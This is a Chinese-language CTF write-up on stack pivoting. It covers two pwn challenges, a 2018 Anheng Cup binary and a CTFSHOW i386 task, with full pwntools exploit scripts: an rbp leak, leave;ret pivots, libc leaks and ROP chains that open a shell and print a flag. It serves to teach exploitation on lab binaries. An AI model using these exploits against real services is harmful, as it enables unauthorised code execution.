栈迁移

栈迁移

程序的执行栈未必是栈空间。

概述

栈迁移在二进制漏洞挖掘与利用中是一种技术,它涉及将执行栈从程序的一个内存区域移动到另一个,以此绕过如栈保护和地址空间布局随机化(ASLR)等安全机制。此技术常用于栈溢出漏洞,攻击者通过在栈上插入或修改数据,引导程序执行流跳转到控制的新栈位置,从而实现执行任意代码。

2018 安恒杯 over

阅读程序

检查保护

$ checksec over.over
[*] '/home/bitterorange/pwn/lab/over.over'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   No canary found
  NX:       NX enabled
  PIE:     No PIE (0x400000)

IDA逆向分析

__int64 __fastcall main()
{
 int v0; // eax

 setvbuf(stdin, 0LL, 2, 0LL);
 setvbuf(stdout, 0LL, 2, 0LL);
 do
   vuln();
 while ( v0 );
 return 0LL;
}
void __cdecl vuln()
{
 char buf[80]; // [rsp+0h] [rbp-50h]

 memset(buf, 0, sizeof(buf));
 putchar('>');
 read(0, buf, 0x60uLL);
 puts(buf);
}

分析

手短,只能溢出0x60字节。除去0x50,只能覆盖saved rbp和vuln函数的返回地址。然而,程序能够多次“输入 => 溢出 => 输出”,这给我们提供了栈迁移的方便。

Step 1 泄露栈地址

动态调试,找到可用的栈地址

00:0000│ rsi rsp 0x7fffffffdd30 ◂— 0xa61616161 /* 'aaaa\n' */
01:0008│         0x7fffffffdd38 ◂— 0x0
... ↓            8 skipped
0a:0050│ rbp     0x7fffffffdd80 —▸ 0x7fffffffdda0 ◂— 0x0
0b:0058│         0x7fffffffdd88 —▸ 0x400715 ◂— test   eax, eax

泄露rbp吧。将[0x0, 0x50)填满,程序下一步的puts(buf)就能够将内容输出出来。

Python
# coding: utf-8
from pwn import *
from LibcSearcher import *

context.arch = 'amd64'
sh = process(['/home/bitterorange/pwn/lab/over.over'])
# elf = ELF('/home/bitterorange/pwn/lab/over.over')

gdb.attach(sh, 'b *0x4006b2')

payload1 = 'a' * 0x4c + 'b' * 0x4
sh.sendafter('>', payload1)
sh.recvuntil("aaaabbbb")
leaked_rbp = u64(sh.recv(6).ljust(8, '\x00'))
print "leaked_rbp:", hex(leaked_rbp)

sh.interactive()

泄露成功。

[x] Starting local process '/home/bitterorange/pwn/lab/over.over'
[+] Starting local process '/home/bitterorange/pwn/lab/over.over': pid 5932
[*] running in new terminal: ['/usr/bin/gdb', '-q', '/home/bitterorange/pwn/lab/over.over', '5932', '-x', '/tmp/pwnJ7ox_j.gdb']
[x] Waiting for debugger
[+] Waiting for debugger: Done
leaked_rbp: 0x7fff3ab19ea0
[*] Switching to interactive mode
...

Step 2 构建栈迁移Payload

显然,leaked_rbp-0x70就是payload开头,或者说,buf开头。

buf_addr = leaked_rbp - 0x70

栈迁移的payload构造,此处不再赘述。然后就转化成ret2libc的题目了。先泄露某个函数的Libc。

pop rdi; ret的gadget用ROPgadget查找到,可以来自__libc_init_csu

0x00x80x100x180x200x280x500x58
fake_rbp2pop_rdi_ret_addrread_gotputs_pltvuln_addrpaddingbuf_addrleave_ret_addr
Python
# coding: utf-8
from pwn import *
from LibcSearcher import *

context.arch = 'amd64'
sh = process(['/home/bitterorange/pwn/lab/over.over'])
elf = ELF('/home/bitterorange/pwn/lab/over.over')

# gdb.attach(sh, 'b *0x4006b2')

payload1 = 'a' * 0x4c + 'b' * 0x4
sh.sendafter('>', payload1)
sh.recvuntil("aaaabbbb")
leaked_ebp = u64(sh.recv(6).ljust(8, '\x00'))
print "leaked_rbp:", hex(leaked_ebp)

puts_plt = elf.plt['puts']
read_got = elf.got['read']
vuln_addr = 0x400676
pop_rdi_ret_addr = 0x400793
leave_ret_addr = 0x4006be
buf_addr = leaked_ebp - 0x70

payload2 = flat("btorange", pop_rdi_ret_addr, read_got, puts_plt, vuln_addr)
payload2 = payload2.ljust(0x50, 'a')
payload2 += flat(buf_addr, leave_ret_addr)

sh.sendafter('>', payload2)
sh.recvline()
read_addr = u64(sh.recvline(keepends=False)[-8:].ljust(8, '\x00'))
print "read_addr:", hex(read_addr)

sh.interactive()
[x] Starting local process '/home/bitterorange/pwn/lab/over.over'
[+] Starting local process '/home/bitterorange/pwn/lab/over.over': pid 6599
[*] '/home/bitterorange/pwn/lab/over.over'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   No canary found
  NX:       NX enabled
  PIE:     No PIE (0x400000)
leaked_rbp: 0x7ffcb68ee630
read_addr: 0x7fca86fafff0
[*] Switching to interactive mode
...

Step 3 泄露Libc版本并计算所有需要的Gadget的地址

CTF Wiki 说,system("/bin/sh")可能会因为env被破坏而失效。经过一番实验,确实是这样。所以,我们使用execve("/bin/sh", NULL, NULL)来getshell。

由于程序没有pop rsi retpop rdx ret 及其衍生gadget,我们应当尝试从Libc获取。假装我不知道Libc版本,但上面泄露出的read_addr早已泄露出了Libc版本。

Python
# coding: utf-8
from pwn import *
from LibcSearcher import *

context.arch = 'amd64'
sh = process(['/home/bitterorange/pwn/lab/over.over'])
elf = ELF('/home/bitterorange/pwn/lab/over.over')

payload1 = 'a' * 0x4c + 'b' * 0x4
sh.sendafter('>', payload1)
sh.recvuntil("aaaabbbb")
leaked_ebp = u64(sh.recv(6).ljust(8, '\x00'))
print "leaked_rbp:", hex(leaked_ebp)

puts_plt = elf.plt['puts']
read_got = elf.got['read']
vuln_addr = 0x400676
pop_rdi_ret_addr = 0x400793
leave_ret_addr = 0x4006be
buf_addr = leaked_ebp - 0x70
print "buf_addr:", hex(buf_addr)

payload2 = flat("btorange", pop_rdi_ret_addr, read_got, puts_plt, vuln_addr)
payload2 = payload2.ljust(0x50, 'a')
payload2 += flat(buf_addr, leave_ret_addr)

sh.sendafter('>', payload2)
sh.recvline()
read_addr = u64(sh.recvline(keepends=False)[-8:].ljust(8, '\x00'))
print "read_addr:", hex(read_addr)

libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')

sh.interactive()
[x] Starting local process '/home/bitterorange/pwn/lab/over.over'
[+] Starting local process '/home/bitterorange/pwn/lab/over.over': pid 7540
[*] '/home/bitterorange/pwn/lab/over.over'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   No canary found
  NX:       NX enabled
  PIE:     No PIE (0x400000)
leaked_rbp: 0x7ffe762ab520
buf_addr: 0x7ffe762ab4b0
read_addr: 0x7f5d88098ff0
[+] ubuntu-glibc (id libc6_2.31-0ubuntu9.7_amd64) be choosed.
[*] Switching to interactive mode
>

所以,Libc版本ID就是libc6_2.31-0ubuntu9.7_amd64

那我们在libc-database/db下启动终端,使用ROPgadget查找有关pop rsi retpop rdx ret 的gadget。对应的Libc二进制文件。对应的Libc二进制文件为<Libc版本ID>.so,所以在我这里是libc6_2.31-0ubuntu9.7_amd64.so

libc-database/db$ ROPgadget --binary libc6_2.31-0ubuntu9.7_amd64.so --only 'pop|ret' | grep 'rsi'
...
0x000000000002604f : pop rsi ; ret
...
libc-database/db$ ROPgadget --binary libc6_2.31-0ubuntu9.7_amd64.so --only 'pop|ret' | grep 'rdx'
...
0x000000000015f7e6 : pop rdx ; pop rbx ; ret
...

那么就可以计算出对应的地址。

pop_rsi_ret_addr = libc_base + 0x2604f
pop_rdx_rbx_ret_addr = libc_base + 0x15f7e6

Step 4 Get Shell

通过动态调试可知返回到vuln函数后buf比第一次执行vuln函数时buf的地址减少了0x30。

0x00x80x100x180x20
fake_rbp2pop_rdi_ret_addrbinsh_addrpop_rsi_ret_addr0
0x280x300x380x400x480x500x58
pop_rdx_rbx_ret_addr00execve_addrvuln_addrbuf_addrleave_ret_addr
Python
...
buf_addr -= 0x30

payload3 = flat("btorange", pop_rdi_ret_addr, binsh_addr)
payload3 += flat(pop_rsi_ret_addr, 0)
payload3 += flat(pop_rdx_rbx_ret_addr, 0, 0)
payload3 += flat(execve_addr, vuln_addr)
# payload3 = payload3.ljust(0x50, 'a')
# 无需ljust,因为这里刚好就是payload+0x50
payload3 += flat(buf_addr, leave_ret_addr)
sh.sendafter('>', payload3)

sh.interactive()

即可getshell。

Payload

Python
# coding: utf-8
from pwn import *
from LibcSearcher import *

context.arch = 'amd64'
sh = process(['/home/bitterorange/pwn/lab/over.over'])
elf = ELF('/home/bitterorange/pwn/lab/over.over')

payload1 = 'a' * 0x4c + 'b' * 0x4
sh.sendafter('>', payload1)
sh.recvuntil("aaaabbbb")
leaked_ebp = u64(sh.recv(6).ljust(8, '\x00'))
print "leaked_rbp:", hex(leaked_ebp)

puts_plt = elf.plt['puts']
read_got = elf.got['read']
vuln_addr = 0x400676
pop_rdi_ret_addr = 0x400793
leave_ret_addr = 0x4006be
buf_addr = leaked_ebp - 0x70
print "buf_addr:", hex(buf_addr)

payload2 = flat("btorange", pop_rdi_ret_addr, read_got, puts_plt, vuln_addr)
payload2 = payload2.ljust(0x50, 'a')
payload2 += flat(buf_addr, leave_ret_addr)

sh.sendafter('>', payload2)
sh.recvline()
read_addr = u64(sh.recvline(keepends=False)[-8:].ljust(8, '\x00'))
print "read_addr:", hex(read_addr)

libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')

execve_addr = libc_base + libc.dump('execve')
binsh_addr = libc_base + libc.dump('str_bin_sh')
pop_rsi_ret_addr = libc_base + 0x2604f
pop_rdx_rbx_ret_addr = libc_base + 0x15f7e6
buf_addr -= 0x30

# gdb.attach(sh, 'b *0x4006b2')

payload3 = flat("btorange", pop_rdi_ret_addr, binsh_addr)
payload3 += flat(pop_rsi_ret_addr, 0)
payload3 += flat(pop_rdx_rbx_ret_addr, 0, 0)
payload3 += flat(execve_addr, vuln_addr)
# payload3 = payload3.ljust(0x50, 'a')
# 无需ljust,因为这里刚好就是payload+0x50
payload3 += flat(buf_addr, leave_ret_addr)
sh.sendafter('>', payload3)

sh.interactive()
[x] Starting local process '/home/bitterorange/pwn/lab/over.over'
[+] Starting local process '/home/bitterorange/pwn/lab/over.over': pid 7682
[*] '/home/bitterorange/pwn/lab/over.over'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   No canary found
  NX:       NX enabled
  PIE:     No PIE (0x400000)
leaked_rbp: 0x7fff3705f140
buf_addr: 0x7fff3705f0d0
read_addr: 0x7fa9efadcff0
[+] ubuntu-glibc (id libc6_2.31-0ubuntu9.7_amd64) be choosed.
[*] Switching to interactive mode
btorange�•@
ls
flag flag.txt main.py venv venv2
cat flag
orangectf{cOngra1uLat1qn_Y0u_5ucc0ed_d}

CTFSHOW 月饼杯II – 容易的胖

大致的利用方式是,在BSS段上构建ROP链,然后利用Gadget将栈帧迁移到BSS段。

需要注意的是,泄露Libc地址时使用的printf函数需要较大的栈空间,故需要在较高的内存地址出开始布置ROP。

泄露完Libc地址后,可以继续读取4个字节,并将其写入ROP的返回地址处,我们可以计算并发送One Gadget的真实地址,使得程序在返回地址出写入该One Gadget的真实地址,最终Get Shell。

Payload

Python
# coding: utf-8
from pwn import *

os.chdir('/home/orange/pwn/pang/')
context.arch = 'i386'
# context.log_level = 'debug'

sh = process(['./pangpwn2_patched'])
# sh = remote('pwn.challenge.ctf.show', 28108)
elf = ELF('./pangpwn2_patched')
libc = ELF('./libc-2.27_i386.so')

s_addr = 0x0804a040
write_s_offset = 0xe0

rop1 = ROP([elf])
puts_got = elf.got['puts']
rop1.call('puts', [puts_got])

rop1.call('read', [0, s_addr + write_s_offset + 0x10])
print(rop1.dump())
payload1 = flat({
    write_s_offset: rop1.chain()
})
sh.sendline(payload1)

payload2 = flat({
    0x0: b'yes\n\x00',
    0x10: [s_addr + write_s_offset + 0x4]
})
sh.sendafter(b'Do you know', payload2)

sh.recvuntil(b'ok,good\n')
puts_addr = u32(sh.recv(4))
print('puts_addr:', hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
print('libc_base:', hex(libc_base))

sh.recvline()

one_gadget_addr = libc_base + 0x3cbea
# gdb.attach(sh, 'b *' + hex(one_gadget_addr))
sh.send(p32(one_gadget_addr))

sleep(1)
sh.sendline(b'echo PWNED')
sh.interactive()

发表评论

您的邮箱地址不会被公开。 必填项已用 * 标注